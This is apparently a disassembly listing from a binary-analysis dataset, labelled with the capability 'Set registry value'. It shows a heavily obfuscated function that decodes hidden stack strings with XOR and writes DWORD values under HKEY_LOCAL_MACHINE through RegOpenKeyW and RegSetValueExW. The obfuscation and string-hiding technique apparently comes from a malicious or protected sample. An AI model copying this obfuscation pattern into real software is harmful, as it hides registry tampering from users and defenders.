Function at 0x140402756
Capabilities:
Set registry value

Disassembly:
push r15
or eax, 0x6f024848
add al, sil
push r14
btc r15w, di
cmc
xchg r15b, al
push r13
movsx rax, di
push r12
btr r14, 0x8e
sal r13b, 0x6c
push rsi
lahf
shl ah, 0xcf
push rdi
push rbp
cbw
push rbx
and al, r15b
sub rsp, 0x2f8
movsxd r12, r11d
movabs rax, 0xe009ec3224c8fd6e
bswap r13d
mov rbx, 0x87f7a32
xchg r15b, r12b
mov qword [rsp + 0x2e0], rax
movzx rsi, r11w
mov bp, 0x210c
mov qword [rsp + 0x40], rax
movabs rax, 0x2204bcb80ebea5a3
movsx r12, r10w
mov qword [rsp + 0x2d8], rax
not bx
setge dil
mov qword [rsp + 0x48], rax
movzx rdi, r12w
cmovbe r15w, bp
movabs rax, 0xfbc9f38de01f2fa2
mov qword [rsp + 0x2d0], rax
movzx r12w, r8b
cmovno edi, edi
mov dil, dil
mov qword [rsp + 0x50], rax
movzx rdi, bp
movabs rax, 0x17a75ff95317a686
mov qword [rsp + 0x2c8], rax
movsx ebx, si
xchg r15w, di
sete r15b
mov qword [rsp + 0x58], rax
lahf
mov r15b, 0xa1
movzx r15d, si
movabs rax, 0xfd99d5578f55fa6f
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x60], rax
movabs rax, 0x4b3964fdcd447246
movzx r15, r10w
movsx r13d, di
mov qword [rsp + 0x2b8], rax
movsx si, r9b
cmovbe r15w, r13w
mov qword [rsp + 0x68], rax
cmovg di, r11w
movabs rax, 0xee88324679eb2227
movzx di, r8b
mov r15w, di
setg r12b
mov qword [rsp + 0x2b0], rax
movsxd r14, r9d
cmovle r14w, r13w
mov qword [rsp + 0x70], rax
cbw
movabs rax, 0x6d7346ad6d4ffefa
movsx r15, r13w
xchg r14b, bl
movzx ebx, r13w
mov qword [rsp + 0x2a8], rax
movsxd r15, esp
movsx r15d, r8w
mov qword [rsp + 0x78], rax
not dil
movabs rax, 0xd093683aef376a76
mov rsi, rax
setg r13b
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x80], rax
not ax
mov ax, 0x492b
xchg r12d, edi
movabs rax, 0xa80f93e9d32b8c6f
mov qword [rsp + 0x298], rax
mov r15w, 0x18a7
movsx r15, r8w
movsxd r13, edx
mov qword [rsp + 0x88], rax
cbw
movsx r12w, cl
movabs rax, 0x33e730243394033e
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x90], rax
movzx r13, r12w
movabs rax, 0xe7e3977e114e6703
setne r13b
mov dil, 0x72
mov qword [rsp + 0x288], rax
movzx rbp, bp
jmp 0x140402976
mov qword [rsp + 0x98], rax
movzx si, r8b
movabs rax, 0xb0b65ec58a603c8
mov qword [rsp + 0x280], rax
movzx r13d, si
setle bl
mov qword [rsp + 0xa0], rax
lahf
cdqe
movabs rax, 0x6708be65ca8156d7
mov bl, dil
mov qword [rsp + 0x278], rax
movsx r12w, r13b
movzx r13w, r9b
bswap di
mov qword [rsp + 0xa8], rax
movsx di, r13b
cmovno rbx, rdx
movabs rax, 0x46a7044da5524090
bswap r14
setl r15b
movsxd r12, r8d
mov qword [rsp + 0x270], rax
movzx bp, sil
mov qword [rsp + 0xb0], rax
mov r15w, r12w
movabs rax, 0x4b8cb541ca050f46
movzx r14w, cl
mov qword [rsp + 0x268], rax
mov qword [rsp + 0xb8], rax
not bpl
movabs rax, 0xe627ab41184af921
mov qword [rsp + 0x260], rax
movzx r14, bp
mov qword [rsp + 0xc0], rax
mov r15, r13
cmovo bp, r15w
movabs rax, 0x34c77b6e31b9a
jmp 0x140402a5e
mov qword [rsp + 0x258], rax
not bh
movsx ebx, r12w
mov qword [rsp + 0xc8], rax
cmovp ebp, eax
mov r15b, 0x44
movabs rax, 0xd8cf4ec0049852bb
cmovns si, r12w
xchg sil, dil
not r13b
mov qword [rsp + 0xd0], rax
movsx rbx, r14w
xchg r14w, si
movsx bp, r15b
movabs rax, 0xa5eac9844f8ea419
not r13
bswap r12w
movsx r12d, cx
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x30], 0
jmp 0x140402ad8
mov dword [rsp + 0x3c], 0
movzx r13, bp
cmovg di, r11w
movsx r12, cx
movabs rbp, 0x2eb490333e21dae3
movsx r14d, r13w
movsx si, r14b
jmp 0x140402b05
mov qword [rsp + 0xe0], rbp
cwde
movabs r14, 0x28903e48668cb956
xchg sil, r15b
jmp 0x140402b20
mov qword [rsp + 0xe8], r14
bswap rdi
jmp 0x140402b30
movabs r15, 0xe05dec612491fd3d
mov qword [rsp + 0x100], r15
cwde
movabs r12, 0x2247bce40ef3a5e6
movsxd rsi, r11d
mov qword [rsp + 0x108], r12
movsx rdi, si
cmovns si, dx
movabs rsi, 0xfbacf3ffe06d2fd7
mov qword [rsp + 0x110], rsi
movzx r13w, al
mov edi, 0xb0f7ce5
mov bl, sil
movabs rdi, 0x17c85fba5363a6e8
mov qword [rsp + 0x118], rdi
mov ax, 0x6328
jmp 0x140402b9f
movabs rax, 0xfdf6d5258f21fa01
movzx r13w, sil
movzx r13d, r14w
mov qword [rsp + 0x120], rax
movsx bx, r12b
mov rbx, rax
movabs rax, 0x4b4d6498cd17722a
movsx r13, r11w
movzx r13w, r13b
mov qword [rsp + 0x2f0], rax
movsx r13w, al
mov qword [rsp + 0x128], rax
cbw
movabs rax, 0xeefa322379b8227b
movsxd r13, eax
mov qword [rsp + 0x250], rax
cmovne r13w, r13w
bswap r13w
jmp 0x140402c0f
mov qword [rsp + 0x130], rax
movabs rax, 0x6d1646ce6d26fe8c
mov r13w, 0x2aa6
movsxd r13, esi
movzx r13, r12w
mov qword [rsp + 0x248], rax
movsx r13w, bpl
xchg r13b, r13b
bswap r13w
mov qword [rsp + 0x138], rax
cdqe
movzx r13d, dx
movabs rax, 0xd0fb6869ef6b6a05
movzx r13w, sil
mov qword [rsp + 0x240], rax
mov r13b, r8b
mov qword [rsp + 0x140], rax
movabs rax, 0xa86b938cd3598c0e
movsxd r13, r10d
mov r13w, 0x4087
mov qword [rsp + 0x238], rax
movsxd r13, ebp
mov qword [rsp + 0x148], rax
movsx ax, r14b
lahf
setno r13b
movabs rax, 0x3382304733f7037f
mov qword [rsp + 0x230], rax
movsx r13d, bp
mov qword [rsp + 0x150], rax
cbw
movsxd rax, r15d
movabs rax, 0xe7b39722113d6770
mov qword [rsp + 0x228], rax
mov r13b, 0x7f
bswap r13w
movzx r13, r13w
mov qword [rsp + 0x158], rax
setb r13b
jmp 0x140402cf5
movabs rax, 0xb66658d58d403a9
bswap r13d
movsx r13d, bp
mov qword [rsp + 0x220], rax
movzx r13d, r12w
mov qword [rsp + 0x160], rax
cdqe
lahf
movabs rax, 0x677abe00caf556b2
mov r13b, 0xa5
mov qword [rsp + 0x218], rax
movsx r13d, r14w
bswap r13w
movsx r13w, r15b
mov qword [rsp + 0x168], rax
bswap r13w
setp al
mov r13b, cl
movabs rax, 0x46ce040ba50e40e3
movzx r13d, r9w
mov qword [rsp + 0x210], rax
movsx r13, r8w
xchg r13b, r13b
mov qword [rsp + 0x170], rax
cdqe
movzx r13, cx
seta r13b
movabs rax, 0x4bedb536ca600f34
movzx r13, r11w
cmovno r13d, r14d
jmp 0x140402d97
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x178], rax
movsx eax, si
movzx rax, bx
movabs rax, 0xe648ab111826f94d
movzx r13d, r9w
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x180], rax
movzx eax, r10w
movsxd rax, r10d
movabs rax, 0x7a4c14b68a1bf6
mov qword [rsp + 0x1f8], rax
jmp 0x140402dea
mov qword [rsp + 0x188], rax
movabs rax, 0xd8a24eaf04dc52e7
movsx r13w, r8b
movsxd r13, edx
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x190], rax
movabs rax, 0xa5bac9ea4fe7a478
cmovnp r13w, r14w
movzx r13d, ax
mov qword [rsp + 0x1e8], rax
setb r13b
movsx r13d, sp
cmovl r13d, r12d
mov qword [rsp + 0x198], rax
movabs rax, 0x2edd90553e4eda91
jmp 0x140402e5b
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1a0], rax
movabs rax, 0x28903e4866e9b93a
movzx r13d, r15w
movzx r13, bx
mov qword [rsp + 0x1d8], rax
movzx r13w, bpl
mov qword [rsp + 0x1a8], rax
movsx r13w, bpl
mov r13b, dil
lea r13, [rsp + 0x100]
nop
cmovne ax, di
not eax
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x140402eb7
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x140402ec9
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x140402edc
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x140402eea
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x140402efd
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x140402f0a
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x140402f1b
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x140402f28
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x140402f39
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x140402f46
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x140402f57
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x140402f64
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x140402f75
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x140402f82
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x140402f96
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x140402fa3
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x140402fb7
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x140402fc4
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
cdq
movsxd r8, ecx
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x30]
movsx rcx, bp
mov rcx, 0xffffffff80000002
jmp 0x140402ff1
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x140403006
mov qword [rsp + 0x1d0], rax
jmp 0x140403013
mov qword [rsp + 0x40], rax
movabs rax, 0x222ebca20e96a58a
jmp 0x140403027
mov qword [rsp + 0x1c8], rax
jmp 0x140403034
mov qword [rsp + 0x48], rax
cbw
lahf
movabs rax, 0xfbcdf388e0082fa5
jmp 0x14040304b
mov qword [rsp + 0x2e8], rax
jmp 0x140403058
mov qword [rsp + 0x50], rax
movabs rax, 0x17c85fba530fa684
jmp 0x14040306c
mov qword [rsp + 0x1c0], rax
jmp 0x140403079
mov qword [rsp + 0x58], rax
bswap ax
mov qword [rsp + 0x100], r15
cbw
mov al, r10b
mov qword [rsp + 0x108], r12
movzx eax, ax
movsx rax, dx
mov qword [rsp + 0x110], rsi
mov ax, 0x3032
movsx eax, bp
mov qword [rsp + 0x118], rdi
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1404030c1
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1404030d3
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
neg r9b
mov rcx, qword [rsp + 0x30]
sar r9b, 0x87
dec r9w
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
and r9d, edx
mov dword [rsp + 0x28], 4
btr dx, r14w
lea rdx, [rsp + 0x40]
movsx r9d, sp
test r12d, r11d
cmc
sub r8d, r8d
mov r9b, sil
setp r9b
mov r9d, 4
jmp 0x140403128
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x140403138
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x14040314b
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2d8]
jmp 0x14040315d
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2d0]
jmp 0x14040316f
mov qword [rsp + 0x50], rax
movsxd rax, edi
movsx ax, r12b
mov rax, qword [rsp + 0x2c8]
jmp 0x140403189
mov qword [rsp + 0x58], rax
cmovg eax, r8d
movsx ax, r14b
movzx rax, r11w
mov rax, qword [rsp + 0x2c0]
jmp 0x1404031a8
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
jmp 0x1404031ba
mov qword [rsp + 0x68], rax
mov rax, 0x1a6d77c9
movzx rax, dx
cwde
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
cdqe
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x78], rax
movsx rax, cx
mov rax, qword [rsp + 0x2a0]
jmp 0x1404031f8
mov qword [rsp + 0x80], rax
movsx rax, r8w
nop
cbw
mov rax, qword [rsp + 0x298]
jmp 0x140403215
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x290]
jmp 0x14040322a
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x288]
jmp 0x14040323f
mov qword [rsp + 0x98], rax
cbw
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
mov ax, di
movsxd rax, ecx
mov rax, qword [rsp + 0x278]
jmp 0x14040326c
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x140403281
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x268]
jmp 0x140403296
mov qword [rsp + 0xb8], rax
cmovg ax, r14w
cdqe
mov rax, qword [rsp + 0x260]
jmp 0x1404032b2
mov qword [rsp + 0xc0], rax
cmovl eax, edx
xchg al, ah
movsx rax, bx
mov rax, qword [rsp + 0x258]
jmp 0x1404032d0
mov qword [rsp + 0xc8], rax
cbw
lahf
movabs rax, 0xd8c04eda048c52bb
jmp 0x1404032ea
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5eac9894f8ea414
jmp 0x140403301
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xe8], r14
bswap r14w
cbw
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
mov ah, 0x96
cwde
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
mov bpl, 0x11
mov rbp, rbx
movzx ax, cl
cdqe
mov qword [rsp + 0x120], rbx
lahf
cdqe
mov r14, qword [rsp + 0x2f0]
mov qword [rsp + 0x128], r14
xchg al, ah
bswap rax
mov rax, qword [rsp + 0x250]
jmp 0x14040337c
mov qword [rsp + 0x130], rax
jmp 0x140403391
mov rax, qword [rsp + 0x248]
jmp 0x14040339e
mov qword [rsp + 0x138], rax
movzx ax, spl
mov eax, 0x38ea1c8d
movsx eax, r10w
mov rax, qword [rsp + 0x240]
jmp 0x1404033c1
mov qword [rsp + 0x140], rax
not al
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x148], rax
jmp 0x1404033e3
mov rax, qword [rsp + 0x230]
jmp 0x1404033f0
mov qword [rsp + 0x150], rax
movzx rax, r15w
movsx rax, r14w
cmovae ax, di
mov rax, qword [rsp + 0x228]
jmp 0x140403411
mov qword [rsp + 0x158], rax
movsx ax, r8b
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x160], rax
mov rax, 0x11fb4bb8
movzx eax, r14w
cdqe
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x168], rax
mov al, bpl
mov rax, qword [rsp + 0x210]
jmp 0x14040345b
mov qword [rsp + 0x170], rax
cbw
mov rax, qword [rsp + 0x208]
jmp 0x140403472
mov qword [rsp + 0x178], rax
movsx eax, di
movzx eax, si
mov rax, qword [rsp + 0x200]
jmp 0x14040348d
mov qword [rsp + 0x180], rax
movzx rax, si
movsx ax, sil
cdqe
mov rax, qword [rsp + 0x1f8]
jmp 0x1404034ad
mov qword [rsp + 0x188], rax
movsxd rax, r15d
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x190], rax
movzx ax, cl
mov ah, 0x32
mov rax, qword [rsp + 0x1e8]
jmp 0x1404034dc
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1a0], rax
lahf
setp ah
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rax
movsx ax, r8b
movsx eax, r15w
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x14040351e
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x140403535
movaps xmmword [rsp + 0x40], xmm0
jmp 0x14040353f
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x14040354d
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x14040355b
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x140403569
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x14040358a
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x14040359b
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1404035a8
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1404035c1
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1404035e9
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x140403605
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x140403612
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
lea rdx, [rsp + 0x40]
movzx r8d, r15w
xchg rcx, rcx
mov rcx, 0xffffffff80000002
movzx r8d, r12w
mov r8b, sil
lea r8, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
jmp 0x140403653
mov qword [rsp + 0x40], rax
cdqe
cwde
bswap eax
mov rax, qword [rsp + 0x1c8]
mov bh, 2
cmovbe rbx, r13
not bx
mov qword [rsp + 0x48], rax
mov rbx, qword [rsp + 0x2e8]
mov qword [rsp + 0x50], rbx
mov rax, rcx
mov rax, qword [rsp + 0x1c0]
jmp 0x140403691
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
movzx rax, ax
movsx eax, bp
cdqe
mov qword [rsp + 0x110], rsi
movsx ax, sil
movsx rax, r13w
not al
mov qword [rsp + 0x118], rdi
movzx ax, r10b
mov rax, r13
jmp 0x1404036d7
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1404036e9
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1404036f3
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x30]
sbb edx, 0x6b4525f9
mov dx, 0x528
rcr rax, cl
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
xor r8d, r8d
xchg r9b, r9b
movsx r9, di
not r9b
mov r9d, 4
jmp 0x14040373d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x14040374d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x140403760
mov qword [rsp + 0x40], rax
cmovs rax, r13
not rax
mov rax, qword [rsp + 0x2d8]
jmp 0x140403779
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
movzx eax, si
cbw
jmp 0x1404037a2
mov rax, qword [rsp + 0x2c0]
jmp 0x1404037af
mov qword [rsp + 0x60], rax
cmovs ax, si
mov eax, 0x58561a2
lahf
mov rax, qword [rsp + 0x2b8]
jmp 0x1404037cb
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2b0]
jmp 0x1404037dd
mov qword [rsp + 0x70], rax
xchg al, ah
movsx rax, bp
movzx ax, bh
mov rax, qword [rsp + 0x2a8]
jmp 0x1404037f9
mov qword [rsp + 0x78], rax
movsx eax, r15w
mov rax, qword [rsp + 0x2a0]
jmp 0x14040380f
mov qword [rsp + 0x80], rax
cbw
cmovp ax, dx
mov rax, qword [rsp + 0x298]
jmp 0x14040382a
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x290]
jmp 0x14040383f
mov qword [rsp + 0x90], rax
movzx eax, sp
lahf
jmp 0x140403850
mov rax, qword [rsp + 0x288]
jmp 0x14040385d
mov qword [rsp + 0x98], rax
movsx eax, r14w
mov eax, ebp
bswap eax
mov rax, qword [rsp + 0x280]
jmp 0x14040387a
mov qword [rsp + 0xa0], rax
mov ax, si
jmp 0x14040388e
mov rax, qword [rsp + 0x278]
jmp 0x14040389b
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
jmp 0x1404038bb
mov rax, qword [rsp + 0x268]
jmp 0x1404038c8
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x260]
jmp 0x1404038dd
mov qword [rsp + 0xc0], rax
cwde
mov ax, r9w
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
mov ax, r15w
movsx eax, dx
cwde
movabs rax, 0xd8c34edb048f52bb
jmp 0x140403911
mov qword [rsp + 0xd0], rax
movsx ax, r13b
movabs rax, 0xa5c8c98b4f83a416
jmp 0x14040392d
mov qword [rsp + 0xd8], rax
movzx ax, sil
movabs rax, 0x2eb290273e1edaf5
jmp 0x140403949
mov qword [rsp + 0xe0], rax
cbw
movsxd rax, esi
movabs rax, 0x28f53e246680b95c
jmp 0x140403965
mov qword [rsp + 0xe8], rax
lahf
cbw
cdqe
mov qword [rsp + 0x100], r15
movsx rax, r11w
cwde
not ax
mov qword [rsp + 0x108], r12
lahf
mov qword [rsp + 0x110], rsi
movzx eax, si
not rax
mov ax, 0x63b5
mov qword [rsp + 0x118], rdi
movsxd rax, esi
mov ax, ax
mov qword [rsp + 0x120], rbp
movsxd rax, ebp
setne ah
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
jmp 0x1404039ce
mov qword [rsp + 0x130], rax
not al
movzx ax, r12b
jmp 0x1404039e2
mov rax, qword [rsp + 0x248]
jmp 0x1404039ef
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x240]
jmp 0x140403a04
mov qword [rsp + 0x140], rax
cwde
mov rax, qword [rsp + 0x238]
jmp 0x140403a1a
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x150], rax
mov al, 0xf3
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
movsxd rax, r13d
mov rax, qword [rsp + 0x220]
jmp 0x140403a54
mov qword [rsp + 0x160], rax
movsx rax, r12w
not al
mov rax, qword [rsp + 0x218]
jmp 0x140403a6f
mov qword [rsp + 0x168], rax
movzx rax, r9w
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
jmp 0x140403a98
mov qword [rsp + 0x178], rax
cmovo eax, r12d
mov al, bpl
cbw
mov rax, qword [rsp + 0x200]
jmp 0x140403ab6
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x188], rax
movsxd rax, r14d
mov rax, qword [rsp + 0x1f0]
jmp 0x140403ade
mov qword [rsp + 0x190], rax
movzx eax, bp
movsx ax, r13b
mov rax, qword [rsp + 0x1e8]
jmp 0x140403afb
mov qword [rsp + 0x198], rax
movsx ax, bpl
mov rax, qword [rsp + 0x1e0]
jmp 0x140403b15
mov qword [rsp + 0x1a0], rax
cwde
mov ax, 0x77f5
mov rax, qword [rsp + 0x1d8]
jmp 0x140403b2f
mov qword [rsp + 0x1a8], rax
jmp 0x140403b3e
movabs rax, 0xa1410f538a85c08b
mov qword [rsp + 0xf0], rax
jmp 0x140403b55